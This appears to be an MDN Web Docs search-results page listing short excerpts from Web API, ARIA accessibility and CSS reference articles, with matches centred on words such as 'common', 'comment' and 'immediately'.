Web Console Helpers - Firefox Developer Tools
the commands the javascript command line provided by the web console offers a few built-in helper functions that make certain tasks easier.
... $_ stores the result of the last expression executed in the console's command line.
... clearhistory() just like a normal command line, the console command line remembers the commands you've typed.
...And 2 more matches
AudioTrack - Web APIs
the most common use for accessing an audiotrack object is to toggle its enabled property in order to mute and unmute the track.
...for example, an audio commentary track for a movie might have a label of "commentary with director john q.
... function gettracklist(el) { var tracklist = []; const wantedkinds = [ "main", "alternative", "main-desc", "translation", "commentary" ]; el.audiotracks.foreach(function(track) { if (wantedkinds.includes(track.kind)) { tracklist.push({ id: track.id, kind: track.kind, label: track.label }); } }); return tracklist; } the resulting tracklist contains an array of audio tracks whose kind is one of those in the array wantedkinds, with each entry providing the track's id, kin...
...And 2 more matches
AuthenticatorAssertionResponse.authenticatorData - Web APIs
bit 6, attested credential data (at) - if set, attestedcredentialdata will immediately follow the first 37 bytes of this authenticatordata.
...extension data will follow attestedcredentialdata if it is present, or will immediatelly follow the first 37 bytes of the authenticatordata if no attestedcredentialdata is present.
... credentialidlength (2 bytes) - the length of the credential id that immediately follows these bytes.
...And 2 more matches
CryptoKey - Web APIs
WebAPICryptoKey
properties cryptokey.type string which may take one of the following values: "secret": this key is a secret key for use with a symmetric algorithm.
... "private": this key is the private half of an asymmetric algorithm's cryptokeypair.
... "public": this key is the public half of an asymmetric algorithm's cryptokeypair.
...And 2 more matches
Element.querySelectorAll() - Web APIs
multiple selectors may be specified by separating them using commas.
...nt"]`)]; obtaining a list of matches to obtain a nodelist of all of the <p> elements contained within the element "mybox": var matches = mybox.queryselectorall("p"); this example returns a list of all <div> elements within "mybox" with a class of either "note" or "alert": var matches = mybox.queryselectorall("div.note, div.alert"); here, we get a list of the document's <p> elements whose immediate parent element is a div with the class "highlighted" and which are located inside a container whose id is "test".
...you can use any common looping statement, such as: var highlighteditems = userlist.queryselectorall(".highlighted"); highlighteditems.foreach(function(useritem) { deleteuser(useritem); }); note: nodelist is not a genuine array, that is to say it doesn't have the array methods like slice, some, map etc.
...And 2 more matches
EventTarget.addEventListener() - Web APIs
common targets are element, document, and window, but the target may be any object that supports events (such as xmlhttprequest).
... you can learn more from the article about eventlisteneroptions from the web incubator community group.
..., capturehandler, capture); middle.addeventlistener('click', nonecapturehandler, nonecapture); inner1.addeventlistener('click', passivehandler, passive); inner2.addeventlistener('click', nonepassivehandler, nonepassive); function oncehandler(event) { alert('outer, once'); } function noneoncehandler(event) { alert('outer, none-once, default'); } function capturehandler(event) { //event.stopimmediatepropagation(); alert('middle, capture'); } function nonecapturehandler(event) { alert('middle, none-capture, default'); } function passivehandler(event) { // unable to preventdefault inside passive event listener invocation.
...And 2 more matches
Introduction to the File and Directory Entries API - Web APIs
the synchronous api, on the other hand, allows for simpler programming model, but it must be used with webworkers.
...its direct, in-order programming model can make code easier to read.
...for example, you are likely to use one of the following: xmlhttprequest (such as the send() method for file and blob objects) drag and drop api web workers (for the synchronous version of the file and directory entries api) the input element (to programmatically obtain a list of files from the element) the file and directory entries api is case sensitive the filesystem api is case-sensitive, and case-preserving.
...And 2 more matches
GlobalEventHandlers - Web APIs
the globaleventhandlers mixin describes the event handlers common to several interfaces like htmlelement, document, or window.
... specifications specification status comment selection apithe definition of 'extension to globaleventhandlers' in that specification.
... candidate recommendation adds onpointerlockchange and onpointerlockerror on document.
...And 2 more matches
HTMLImageElement.loading - Web APIs
this helps to optimize the loading of the document's contents by postponing loading the image until it's expected to be needed, rather than immediately during the initial page load.
... lazy tells the user agent to hold off on loading the image until the browser estimates that it will be needed imminently.
... images whose loading attribute is set to lazy but are located within the visual viewport immediately upon initial page load are loaded as soon as the layout is known, but their loads do not delay the firing of the load event.
...And 2 more matches
HTMLImageElement.srcset - Web APIs
the htmlimageelement property srcset is a string which identifies one or more image candidate strings, separated using commas (,) each specifying image resources to use under given circumstances.
... syntax htmlimageelement.srcset = imagecandidatestrings; let srcset = htmlimageelement.srcset; value a usvstring containing a comma-separated list of one or more image candidate strings to be used when determining which image resource to present inside the <img> element represented by the htmlimageelement.
...this is followed by a comma (,) character and then a condition descriptor that indicates the circumstances in which the indicated image should be used.
...And 2 more matches
HTMLImageElement - Web APIs
htmlimageelement.loading a domstring providing a hint to the browser used to optimize loading the document by determining whether to load the image immediately (eager) or on an as-needed basis (lazy).
...this string specifies a list of comma-separated conditional sizes for the image; that is, for a given viewport size, a particular image size is to be used.
...this specifies a list of candidate images, separated by commas (',', u+002c comma).
...And 2 more matches
HTMLMediaElement.play() - Web APIs
usage notes although the term "autoplay" is usually thought of as referring to pages that immediately begin playing media upon being loaded, web browsers' autoplay policies also apply to any script-initiated playback of media, including calls to play().
... if the user agent is configured not to allow automatic or script-initiated playback of media, calling play() will cause the returned promise to be immediately rejected with a notallowederror.
...be sure your code doesn't expect an immediate response.
...And 2 more matches
HTMLTextAreaElement - Web APIs
examples autogrowing textarea example make a textarea autogrow while typing: javascript function autogrow (ofield) { if (ofield.scrollheight > ofield.clientheight) { ofield.style.height = ofield.scrollheight + "px"; } } css textarea.noscrollbars { overflow: hidden; width: 300px; height: 100px; } html <form> <fieldset> <legend>your comments</legend> <p><textarea class="noscrollbars" onkeyup="autogrow(this);"></textarea></p> <p><input type="submit" value="send" /></p> </fieldset> </form> insert html tags example insert some html tags or smiles or any custom text in a textarea.
...praesent tristique commodo lorem quis fringilla.
...pellentesque lacinia odio id nisi pulvinar commodo tempus at odio.
...And 2 more matches
HTMLTimeElement.dateTime - Web APIs
the format of the string must follow one of the following html microsyntaxes: microsyntax description examples valid month string yyyy-mm 2011-11, 2013-05 valid date string yyyy-mm-dd 1887-12-01 valid yearless date string mm-dd 11-12 valid time string hh:mm hh:mm:ss hh:mm:ss.mmm 23:59 12:15:47 12:15:52.998 valid local date and time string yyyy-mm-dd hh:mm yyyy-mm-dd hh:mm:ss yyyy-mm-dd hh:mm:ss.mmm yyyy-mm-ddthh:mm yyyy-mm-ddthh:mm:ss yyyy-mm-ddthh:mm:ss.mmm 2013-12-25 11:12 1972-07-25 13:43...
...:07 1941-03-15 07:06:23.678 2013-12-25t11:12 1972-07-25t13:43:07 1941-03-15t07:06:23.678 valid time-zone offset string z +hhmm +hh:mm -hhmm -hh:mm z +0200 +04:30 -0300 -08:00 valid global date and time string any combination of a valid local date and time string followed by a valid time-zone offset string 2013-12-25 11:12+0200 1972-07-25 13:43:07+04:30 1941-03-15 07:06:23.678z 2013-12-25t11:12-08:00 valid week string yyyy-www 2013-w46 four or more ascii digits yyyy 2013, 0001 valid duration string pddthhmmss pddthhmms.xs pddthhmms.xxs pddthhmms.xxxs pthhmmss pthhmms.xs pthhmms.xxs pthhmms.xxxs ww dd hh mm ss p12dt7h12m13s p...
... p12dt7h12m13.45s p12dt7h12m13.455s pt7h12m13s pt7h12m13.2s pt7h12m13.56s pt7h12m13.999s 7d 5h 24m 13s syntax datetimestring = timeelt.datetime; timeelt.datetime = datetimestring example // assumes there is <time id="t"> element in the html var t = document.getelementbyid("t"); t.datetime = "6w 5h 34m 5s"; specifications specification status comment html living standardthe definition of 'htmltimeelement' in that specification.
...And 2 more matches
HTML Drag and Drop API - Web APIs
this overview of html drag and drop includes a description of the interfaces, basic steps to add drag-and-drop support to an application, and an interoperability summary of the interfaces.
...(see specifying drop targets.) dragexit ondragexit …an element is no longer the drag operation's immediate selection target.
... the basics this section is a summary of the basic steps to add drag-and-drop functionality to an application.
...And 2 more matches
IDBTransactionSync - Web APIs
method overview void abort() raises (idbdatabaseexception); void commit() raises (idbdatabaseexception); idbobjectstoresync objectstore(in domstring name) raises (idbdatabaseexception); attributes attribute type description db idbdatabasesync the database connection that this transaction is associated with.
... void abort( ) raises (idbdatabaseexception); exceptions this method can raise an idbdatabaseexception with the following code: non_transient_err if this transaction has already been committed or aborted.
... commit() call this method to signal that the transaction has completed normally and satisfactorily.
...And 2 more matches
Using IndexedDB - Web APIs
therefore, it is not recommended to use it in production code.
...in the case of opening a database, however, there are some common conditions that generate error events.
... console.error("database error: " + event.target.errorcode); }; one of the common possible errors when opening a database is ver_err.
...And 2 more matches
Intersection Observer API - Web APIs
one thing the intersection observer api can't tell you: the exact number of pixels that overlap or specifically which ones they are; however, it covers the much more common use case of "if they intersect by somewhere around n%, i need to do something." intersection observer concepts and usage the intersection observer api allows you to configure a callback that is called: (1) whenever one element, called the target, intersects either the device viewport or a specified element; for the purpose of this api, this is called the root element or root (2) and wheneve...
...the // first box's thresholds are set programmatically // since there will be so many of them (for each percentage // point).
... starting at the target's immediate parent block and moving outward, each containing block's clipping (if any) is applied to the intersection rectangle.
...And 2 more matches
PerformanceEntry - Web APIs
" + properties[i] + " is not supported"); } } } specifications specification status comment resource timing level 3 editor's draft resource timing level 2 working draft resource timing level 1 candidate recommendation adds the performanceresourcetiming interface and the resource value for entrytype.
... navigation timing level 2 working draft navigation timing recommendation adds the performancenavigationtiming interface and the navigation value for entrytype.
... user timing level 2 working draft user timing recommendation adds the performancemark and performancemeasure interfaces as well as the mark and measure values for entrytype.
...And 2 more matches
PerformanceResourceTiming.fetchStart - Web APIs
the fetchstart read-only property represents a timestamp immediately before the browser starts to fetch the resource.
... if there are http redirects the property returns the time immediately before the user agent starts to fetch the final resource in the redirection.
... syntax resource.fetchstart; return value a domhighrestimestamp immediately before the browser starts to fetch the resource.
...And 2 more matches
PerformanceResourceTiming.redirectEnd - Web APIs
the redirectend read-only property returns a timestamp immediately after receiving the last byte of the response of the last redirect.
... when fetching a resource, if there are multiple http redirects, and any of the redirects have an origin that is different from the current document, and the timing allow check algorithm passes for each redirected resource, this property returns the time immediately after receiving the last byte of the response of the last redirect; otherwise, zero is returned.
... syntax resource.redirectend; return value a timestamp immediately after receiving the last byte of the response of the last redirect.
...And 2 more matches
RTCPeerConnection - Web APIs
the event is sent immediately after the call setremotedescription() and doesn't wait for the result of the sdp negotiation.onconnectionstatechangethe rtcpeerconnection.onconnectionstatechange property specifies an eventhandler which is called to handle the connectionstatechange event when it occurs on an instance of rtcpeerconnection.
...this lets you change the ice servers used by the connection and which transport policies to use.setidentityprovider() the rtcpeerconnection.setidentityprovider() method sets the identity provider (idp) to the triplet given in parameter: its name, the protocol used to communicate with it (optional) and an optional username.
...if the remote endpoint is not bundle-aware, then each of these dtls transports then handles all the communication for one type of data.
...And 2 more matches
RTCPeerConnectionIceErrorEvent - Web APIs
properties the rtcpeerconnectioniceerrorevent interface includes the properties found on the event interface, as well as the following properties: address read only a domstring providing the local ip address used to communicate with the stun or turn server being used to negotiate the connection, or null if the local ip address has not yet been exposed as part of a local ice candidate.
...if communication with the stun or turn server couldn't be established at all, this string will be a browser-specific string explaining the error.
... port read only an unsigned integer value giving the port number over which communication with the stun or turn server is taking place, using the ip address given in address.
...And 2 more matches
SubtleCrypto.encrypt() - Web APIs
the other three encryption algorithms here are all symmetric algorithms, and they're all based on the same underlying cipher, aes (advanced encryption standard).
...the web crypto api supports three different aes modes: ctr (counter mode) cbc (cipher block chaining) gcm (galois/counter mode) it's strongly recommended to use authenticated encryption, which includes checks that the ciphertext has not been modified by an attacker.
...gcm does provide built-in authentication, and for this reason it's often recommended over the other two aes modes.
...And 2 more matches
SubtleCrypto - Web APIs
subtlecrypto.generatekey() returns a promise that fulfills with a newly-generated cryptokey, for symmetrical algorithms, or a cryptokeypair, containing two newly generated keys, for asymmetrical algorithms.
... subtlecrypto.wrapkey() returns a promise that fulfills with a wrapped symmetric key for usage (transfer and storage) in insecure environments.
... the table below summarises which algorithms are suitable for which cryptographic operations: sign() verify() encrypt() decrypt() digest() derivebits() derivekey() wrapkey() unwrapkey() rsassa-pkcs1-v1_5 ✓ rsa-pss ✓ ecdsa ✓ hmac ✓ ...
...And 2 more matches
Touch events - Web APIs
function handlecancel(evt) { evt.preventdefault(); console.log("touchcancel."); var touches = evt.changedtouches; for (var i = 0; i < touches.length; i++) { var idx = ongoingtouchindexbyid(touches[i].identifier); ongoingtouches.splice(idx, 1); // remove it; we're done } } since the idea is to immediately abort the touch, we simply remove it from the ongoing touch list without drawing a final line segment.
... handling clicks since calling preventdefault() on a touchstart or the first touchmove event of a series prevents the corresponding mouse events from firing, it's common to call preventdefault() on touchmove rather than touchstart.
...this behavior is not well defined in the touch events spec and results in different behavior for different browsers (i.e., ios will prevent zooming but still allow panning with both fingers; android will allow zooming but not panning; opera and firefox currently prevent all panning and zooming.) currently, it's not recommended to depend on any particular behavior in this case, but rather to depend on meta viewport to prevent zooming.
...And 2 more matches
USBDevice.controlTransferOut() - Web APIs
the controltransferout() method of the usbdevice interface returns a promise that resolves with a usbouttransferresult when a command or status operation has been transmitted to the usb device.
...the available options are: requesttype: must be one of three values specifying whether the tranfer is "standard" (common to all usb devices) "class" (common to an industry-standard class of devices) or "vendor".
... request: a vendor-specific command.
...And 2 more matches
ValidityState.typeMismatch - Web APIs
if the value of the email input is not an empty string, a single valid e-mail address, or one or more comma separated email address if the multiple attribute is present, there is a typemismatch.
...if the value of the url input is not an empty string, a single valid url, or one or more comma separated urls if the multiple attribute is present, there is a typemismatch.
... specifications specification status comment html living standardthe definition of 'validitystate.typemismatch' in that specification.
...And 2 more matches
WebGL by example - Web APIs
the examples are sorted according to topic and level of difficulty, covering the webgl rendering context, shader programming, textures, geometry, user interaction, and more.
... explanations about the examples are found in both the main text and in comments within the code.
... you should read all comments, because more advanced examples could not repeat comments about parts of the code that were previously explained.
...And 2 more matches
WebGL: 2D and 3D graphics for the web - Web APIs
WebAPIWebGL API
the examples are sorted according to topic and level of difficulty, covering the webgl rendering context, shader programming, textures, geometry, user interaction, and more.
...this is a great place to start if you've never done low-level graphics programming.
... webgl academy an html/javascript editor with tutorials to learn basics of webgl programming.
...And 2 more matches
WebRTC connectivity - Web APIs
it’s any sort of channel of communication to exchange information before setting up a connection, whether by email, post card or a carrier pigeon...
...this is known as an ice candidate and details the available methods the peer is able to communicate (directly or through a turn server).
... prflx a peer reflexive candidate is one whose ip address comes from a symmetric nat between the two peers, usually as an additional candidate during trickle ice (that is, additional candidate exchanges that occur after primary signaling but before the connection verification phase is finished).
...And 2 more matches
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
converting between webxr session types another common reason you may need to convert positional information from one reference space to another is when it's necessary to change the session type from inline to immersive-vr or back.
... this commonly happens when your user interface provides a way to preview the scene inline within the context of a web page, with a button or other control to switch to immersive mode.
... let viewerpose = frame.getviewerpose(worldreferencespace); let newsession = navigator.xr.requestsession("immersive-vr", { requiredfeatures: "unbounded" }); worldreferencespace = await newsession.requestreferencespace("unbounded"); viewerpose = worldreferencespace.getoffsetreferencespace(viewerpose.transform); here, the viewer pose is obtained, with its transform defined relative to worldreferencespace, the current session's global reference space.
...And 2 more matches
Using the Web Animations API - Web APIs
when we want to explicitly set a key’s offset from the other keys, we can specify an offset directly in the object, separated from the declaration with a comma.
... pausing and playing animations we’ll talk more about alice’s animation later, but for now, let’s look closer at the cupcake’s animation: var nommingcake = document.getelementbyid('eat-me_sprite').animate( [ { transform: 'translatey(0)' }, { transform: 'translatey(-80%)' } ], { fill: 'forwards', easing: 'steps(4, end)', duration: alicechange.effect.timing.duration / 2 }); the element.animate() method will immediately run after it is called.
... to prevent the cake from eating itself up before the user has had the chance to click on it, we call animation.pause() on it immediately after it is defined, like so: nommingcake.pause(); we can now use the animation.play() method to run it whenever we’re ready: nommingcake.play(); specifically, we want to link it to alice’s animation, so she gets bigger as the cupcake gets eaten.
...And 2 more matches
Basic concepts behind Web Audio API - Web APIs
here's a couple of simple examples: var context = new audiocontext(); var buffer = context.createbuffer(2, 22050, 44100); note: in digital audio, 44,100 hz (alternately represented as 44.1 khz) is a common sampling frequency.
... if you use this call above, you will get a stereo buffer with two channels, that when played back on an audiocontext running at 44100hz (very common, most normal sound cards run at this rate), will last for 0.5 seconds: 22050 frames/44100hz = 0.5 seconds.
...the left and right channels are stored like this: llllllllllllllllrrrrrrrrrrrrrrrr (for a buffer of 16 frames) this is very common in audio processing: it makes it easy to process each channel independently.
...And 2 more matches
Web Audio API - Web APIs
a common modification is multiplying the samples by a value to make them louder or quieter (as is the case with gainnode).
... we have a simple introductory tutorial for those that are familiar with programming but need a good introduction to some of the terms and structure of the api.
...u are more familiar with the musical side of things, are familiar with music theory concepts, want to start building instruments, then you can go ahead and start building things with the advance tutorial and others as a guide (the above linked tutorial covers scheduling notes, creating bespoke oscillators and envelopes, as well as an lfo among other things.) if you aren't familiar with the programming basics, you might want to consult some beginner's javascript tutorials first and then come back here — see our beginner's javascript learning module for a great place to begin.
...And 2 more matches
Window - Web APIs
WebAPIWindow
window.dommatrix read only returns a reference to a dommatrix object, which represents 4x4 matrices, suitable for 2d and 3d operations.
... window.dommatrixreadonly read only returns a reference to a dommatrixreadonly object, which represents 4x4 matrices, suitable for 2d and 3d operations.
... window.clearimmediate() cancels the repeated execution set using setimmediate.
...And 2 more matches
XRReferenceSpace - Web APIs
the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin may drift as needed to accommodate that need.
...this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both immersive and inline, though it's most useful for inline sessions.
...*/ }); the other situation in which you may need to acquire a new reference space is if you need to move the origin to a new position; this is commonly done, for example, when your project allows the user to move through the environment using input devices such as the keyboard, mouse, touchpad, or game controls that are not connected through the xr device.
...And 2 more matches
XRRigidTransform.position - Web APIs
example to create a reference space which can be used to place an object at eye level (assuming eye level is 1.5 meters): function onsessionstarted(xrsession) { xrsession.addeventlistener("end", onsessionended); gl = initgraphics(xrsession); let gllayer = new xrwebgllayer(xrsession, gl); xrsession.updaterenderstate({ baselayer: gllayer }); if (immersivesession) { xrsession.requestreferencespace("bounded-floor").then((refspace) => { refspacecreated(refspace); }).catch(() => { session.requestreferencespace("local-floor").then(refspacecreated); }); } else { session.requestreferencespace("viewer").then(refspacecreated); } } function refspacecreated(refspace) { if (immersivesession) { xrreferencespace = re...
...fspace; } else { xrreferencespace = refspace.getoffsetreferencespace( new xrrigidtransform({y: -1.5}); ); } xrsession.requestanimationframe(onframe); } after setting up the graphics context for webxr use, this begins by looking to see if a variable immersivesession is true; if so, we first request a bounded-floor reference space.
... if we're not in an immersive session, we instead request a viewer reference space.
...And 2 more matches
XRSystem: devicechange event - Web APIs
a devicechange event is fired on an xrsystem object whenever the whenever the availability of immersive xr devices has changed; for example, a vr headset or ar goggles have been connected or disconnected.
... you can use this event to, for example, monitor for the availability of a webxr-compatible device so that you can enable a ui element which the user can use to activate immersive mode.
... example the example shown here handles the devicechange event by toggling the availability of the "enter xr" button based on whether or not any immersive devices are currently available.
...And 2 more matches
Web APIs
WebAPI
nbluetooth apibroadcast channel apiccss counter stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks api mmedia capabilities api media capture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource timing apisserver sent eventsservice workers apistoragestorage acc...
...aesctrparams aesgcmparams aeskeygenparams ambientlightsensor analysernode animation animationeffect animationevent animationplaybackevent animationtimeline arraybufferview attr audiobuffer audiobuffersourcenode audioconfiguration audiocontext audiocontextlatencycategory audiocontextoptions audiodestinationnode audiolistener audionode audionodeoptions audioparam audioparamdescriptor audioparammap audioprocessingevent audioscheduledsourcenode audiotrack audiotracklist audioworklet audioworkletglobalscope audioworkletnode audioworkletnodeoptions audioworkletprocessor authenticatorassertionresponse authenticatorattestationresponse authenticatorresponse b baseaudiocontext basiccardrequest basiccardresponse batterymanager beforeinstallpromptevent beforeunloadevent biquadfilterno...
...cssstylevalue csssupportsrule cssunitvalue cssunparsedvalue cssvalue cssvaluelist cssvariablereferencevalue cache cachestorage canvascapturemediastreamtrack canvasgradient canvasimagesource canvaspattern canvasrenderingcontext2d caretposition channelmergernode channelsplitternode characterdata childnode client clients clipboard clipboardevent clipboarditem closeevent comment compositionevent constantsourcenode constrainboolean constraindomstring constraindouble constrainulong contentindex contentindexevent convolvernode countqueuingstrategy crashreportbody credential credentialscontainer crypto cryptokey cryptokeypair customelementregistry customevent d domconfiguration domerror domexception domhighrestimestamp domimplementation domimplementationlis...
...And 2 more matches
ARIA Test Cases - Accessibility
the above is a suggested series of behaviors i as an end user would want to experience when dealing with aria drag and drop, but it has no basis to go on, unlike common controls, for example.
...when the user changes the state, the new state should be spoken immediately.
... (mz) this may be the menu bar or higher level menu item, or a control that gains focus after the menu was closed after executing a command.
...And 2 more matches
ARIA: feed role - Accessibility
examples include an rss feed, news feeds, social media feeds like facebook, instagram or twitter, or even a list of related products on an ecommerce page.
... to ensure good user experience, avoid inserting or removing articles in the middle of a feed, load new articles before the user has reached the end of the feed, and provide keyboard commands for moving focus among articles so that keyboard users can navigate through your feed.
... keyboard interaction supporting the following, or a similar, interface is recommended when focus is inside the feed: page down: move focus to next article.
...And 2 more matches
ARIA: Mark role - Accessibility
examples in the following example we have a document section that has been commented.
... the commented section is marked up using <span role="mark">.
... <p>the last half of the song is a slow-rising crescendo that peaks at the <span role="mark" aria-details="thread-1">end of the guitar solo</span>, before fading away sharply.</p> <div role="comment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="comment-text">i really think this moment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> the related comment is marked up using an html structure wrapped with a <div> containing role="comment".
...And 2 more matches
ARIA: Region role - Accessibility
by classifying and labeling sections of a page, structural information conveyed visually through layout is represented programmatically.
... the region role should be reserved for sections of content sufficiently important that users will likely want to navigate to the section easily and to have it listed in a summary of the page.
... using the <section> element will automatically communicate a section has a role of region if it is given an accessible name.
...And 2 more matches
Understanding the Web Content Accessibility Guidelines - Accessibility
this set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the w3c web content accessibility guidelines 2.0 or 2.1 (or just wcag, for the purposes of this writing).
...for this reason, we have summarised the practical steps you need to take to satisfy the different recommendations, with further links to more details where required.
...buttons must be clickable in some way — mouse, keyboard, voice command, etc.).
...And 2 more matches
::first-line (:first-line) - CSS: Cascading Style Sheets
?</p> <span>the first line of this text will not receive special styling because it is not a block-level element.</span> css ::first-line { color: blue; text-transform: uppercase; /* warning: do not use these */ /* many properties are invalid in ::first-line pseudo-elements */ margin-left: 20px; text-indent: 20px; } result specifications specification status comment css pseudo-elements level 4the definition of '::first-line' in that specification.
... candidate recommendation allows the use of text-shadow with ::first-letter.
... recommendation introduction of the two-colon syntax.
...And 2 more matches
font-weight - CSS: Cascading Style Sheets
certain commonly used values correspond to common weight names, as described in the common weight name mapping section below.
... common weight name mapping the numerical values 100 to 900 roughly correspond to the following common weight names: value common weight name 100 thin (hairline) 200 extra light (ultra light) 300 light 400 normal 500 medium 600 semi bold (demi bold) 700 bold 800 extra bold (ultra bold) ...
... 900 black (heavy) variable fonts most fonts have a particular weight which corresponds to one of the numbers in common weight name mapping.
...And 2 more matches
Variable fonts guide - CSS: Cascading Style Sheets
this allows for common typographic techniques such as setting different size headings in different weights for better readability at each size, or using a slightly narrower width for data-dense displays.
...in all cases, it is still possible to link them with a common font-family name so you can call them using the same font-family and appropriate font-style.
... as defined in the specification, there are two kinds of axes: registered and custom: registered axes are simply those that are most frequently encountered, and common enough that the authors of the specification felt it was worth standardizing.
...And 2 more matches
CSS Images - CSS: Cascading Style Sheets
implementing image sprites in css describes the common technique grouping several images in one single document to save download requests and speed up the availability of a page.
... specifications specification status comment css images module level 4 working draft added image-resolution, conic-gradient(), and image() css images module level 3 candidate recommendation added image-orientation, image-rendering, object-fit and object-position compatibility standardthe definition of 'css gradients' in that specification.
... candidate recommendation css level 2 (revision 1)the definition of '<uri>' in that specification.
...And 2 more matches
Using CSS transitions - CSS: Cascading Style Sheets
instead of having property changes take effect immediately, you can cause the changes in a property to take place over a period of time.
...the specification recommends not animating from and to auto.
...ation: 3s, 5s, 3s, 5s; } similarly, if any property's value list is longer than that for transition-property, it's truncated, so if you have the following css: div { transition-property: opacity, left; transition-duration: 3s, 5s, 2s, 1s; } this gets interpreted as: div { transition-property: opacity, left; transition-duration: 3s, 5s; } using transitions when highlighting menus a common use of css is to highlight items in a menu as the user hovers the mouse cursor over them.
...And 2 more matches
Descendant combinator - CSS: Cascading Style Sheets
additionally, the white space characters of which the combinator is comprised may contain any number of css comments.
...eclarations */ } examples css li { list-style-type: disc; } li li { list-style-type: circle; } html <ul> <li> <div>item 1</div> <ul> <li>subitem a</li> <li>subitem b</li> </ul> </li> <li> <div>item 2</div> <ul> <li>subitem a</li> <li>subitem b</li> </ul> </li> </ul> result specifications specification status comment selectors level 4the definition of 'descendant combinator' in that specification.
... recommendation css level 2 (revision 1)the definition of 'descendant selectors' in that specification.
...And 2 more matches
CSS reference - CSS: Cascading Style Sheets
WebCSSReference
insetinset()inset-blockinset-block-endinset-block-startinset-inlineinset-inline-endinset-inline-start<integer>:invalidinvert()isolationjjustify-contentjustify-itemsjustify-selfkkhz@keyframesl:lang:last-child:last-of-typeleader():leftleft@left-bottom<length><length-percentage>letter-spacingline-breakline-heightlinear-gradient():linklist-stylelist-style-imagelist-style-positionlist-style-typelocal()mmarginmargin-blockmargin-block-endmargin-block-startmargin-bottommargin-inlinemargin-inline-endmargin-inline-startmargin-leftmargin-rightmargin-top::markermarks (@page)maskmask-bordermask-border-modemask-border-outsetmask-border-repeatmask-border-slicemask-border-sourcemask-border-widthmask-clipmask-compositemask-imagemask-modemask-originmask-positionmask-repeatmask-sizemask-typematrix()matrix3d()m...
...ax()max-block-sizemax-heightmax-height (@viewport)max-inline-sizemax-widthmax-width (@viewport)max-zoom (@viewport)@mediamin()min-block-sizemin-heightmin-height (@viewport)min-inline-sizemin-widthmin-width (@viewport)min-zoom (@viewport)minmax()mix-blend-modemmmsn@namespacenegative (@counter-style):not:nth-child:nth-last-child:nth-last-of-type:nth-of-type<number>oobject-fitobject-positionoffsetoffset-anchoroffset-distanceoffset-pathoffset-rotate:only-child:only-of-typeopacityopacity():optionalorderorientation (@viewport)@ornamentsornaments()orphans:out-of-rangeoutlineoutline-coloroutline-offsetoutline-styleoutline-widthoverflowoverflow-anchoroverflow-blockoverflow-inlineoverflow-wrapoverflow-xoverflow-yoverscroll-behavioroverscroll-behavior-blockoverscroll-behavior-inlineoverscroll-behavior-...
... combinators combinators are selectors that establish a relationship between two or more simple selectors, such as "a is a child of b" or "a is adjacent to b." adjacent sibling combinator a + b specifies that the elements selected by both a and b have the same parent and that the element selected by b immediately follows the element selected by a horizontally.
...And 2 more matches
Selector list - CSS: Cascading Style Sheets
/* selects all matching elements */ span, div { border: red 2px solid; } to reduce the size of style sheets, one can group selectors in comma-separated lists.
... syntax element, element, element { style properties } examples single line grouping grouping selectors in a single line using a comma-separated lists.
... h1, h2, h3, h4, h5, h6 { font-family: helvetica; } multi line grouping grouping selectors in a multiple lines using a comma-separated lists.
...And 2 more matches
animation-delay - CSS: Cascading Style Sheets
the animation can start later, immediately from its beginning, or immediately and partway through the animation.
... a negative value causes the animation to begin immediately, but partway through its cycle.
... for example, if you specify -1s as the animation delay time, the animation will begin immediately but will start 1 second into the animation sequence.
...And 2 more matches
background-attachment - CSS: Cascading Style Sheets
you can specify a different <attachment> for each background, separated by commas.
...</p> css p { background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"), url("https://mdn.mozillademos.org/files/12059/startransparent.gif"); background-attachment: fixed, scroll; background-repeat: no-repeat, repeat-y; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background-attachment' in that specification.
... candidate recommendation the shorthand property has been extended to support multiple backgrounds and the local value.
...And 2 more matches
background-position - CSS: Cascading Style Sheets
/* edge offsets values */ background-position: bottom 10px right 20px; background-position: right 3em bottom 10px; background-position: bottom 10px right; background-position: top right 10px; /* global values */ background-position: inherit; background-position: initial; background-position: unset; the background-position property is specified as one or more <position> values, separated by commas.
...*/ .examplethree { background-image: url("https://mdn.mozillademos.org/files/11987/startransparent.gif"), url("https://mdn.mozillademos.org/files/7693/catfront.png"); background-position: 0px 0px, right 3em bottom 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background-position' in that specification.
... candidate recommendation adds support for multiple backgrounds and the four-value syntax.
...And 2 more matches
box-shadow - CSS: Cascading Style Sheets
you can set multiple effects separated by commas.
...ues */ box-shadow: none; /* offset-x | offset-y | color */ box-shadow: 60px -16px teal; /* offset-x | offset-y | blur-radius | color */ box-shadow: 10px 5px 5px black; /* offset-x | offset-y | blur-radius | spread-radius | color */ box-shadow: 2px 2px 2px 1px rgba(0, 0, 0, 0.2); /* inset | offset-x | offset-y | color */ box-shadow: inset 5em 1em gold; /* any number of shadows, separated by commas */ box-shadow: 3px 3px red, -1em 0 0.4em olive; /* global keywords */ box-shadow: inherit; box-shadow: initial; box-shadow: unset; specify a single box-shadow using: two, three, or four <length> values.
... to specify multiple shadows, provide a comma-separated list of shadows.
...And 2 more matches
color - CSS: Cascading Style Sheets
WebCSScolor
text red the following are all ways to make a paragraph's text red: p { color: red; } p { color: #f00; } p { color: #ff0000; } p { color: rgb(255,0,0); } p { color: rgb(100%, 0%, 0%); } p { color: hsl(0, 100%, 50%); } /* 50% translucent */ p { color: #ff000080; } p { color: rgba(255, 0, 0, 0.5); } p { color: hsla(0, 100%, 50%, 0.5); } specifications specification status comment css color module level 4the definition of 'color' in that specification.
... working draft adds commaless syntaxes for the rgb(), rgba(), hsl(), and hsla() functions.
... recommendation deprecates system-colors.
...And 2 more matches
cursor - CSS: Cascading Style Sheets
WebCSScursor
